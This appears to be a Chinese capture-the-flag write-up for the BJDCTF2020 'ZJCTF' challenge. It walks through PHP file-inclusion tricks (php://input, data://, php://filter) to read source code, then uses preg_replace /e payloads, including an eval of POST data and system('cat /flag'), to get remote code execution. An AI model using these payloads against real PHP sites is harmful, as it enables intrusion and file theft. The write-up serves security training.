[BJDCTF2020]ZJCTF,不过如此

0x00 知识点

本地文件包含伪协议

?text=php://input //执行
post:

I have a dream
?file=php://filter/read/convert.base64-encode/resource=index.php

preg_replace()使用的/e模式可以存在远程执行代码
链接:

https://xz.aliyun.com/t/2557

 payload 为: 

 /?.*={${phpinfo()}}

 ,
即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}}

payload2:

\S*=${phpinfo()}

0x01 解题

打开题目,给了我们源代码:
[BJDCTF2020]ZJCTF,不过如此_第1张图片

分析一下:

1:通过get方式传入$text和$file
2:text变量中内容要是I have a dream
3:file中不能有flag关键字

一开始还想用正则贪婪模式匹配绕过。后来发现就是伪协议。。
直接传参读取next.php源码:

[BJDCTF2020]ZJCTF,不过如此_第2张图片

 $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

得到源码
这里还有一种方式读取

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64- encode/resource=next.php

看源码
preg_replace()的RCE
payload1:利用源码给的getFlag函数

/next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);

[BJDCTF2020]ZJCTF,不过如此_第3张图片

payload2:通过构造post传参

next.php?\S*=${eval($_POST[wtz])}
POST:
wtz=system("cat /flag");

[BJDCTF2020]ZJCTF,不过如此_第4张图片

这个方法我bp并没成功,hackbar可以

你可能感兴趣的:([BJDCTF2020]ZJCTF,不过如此)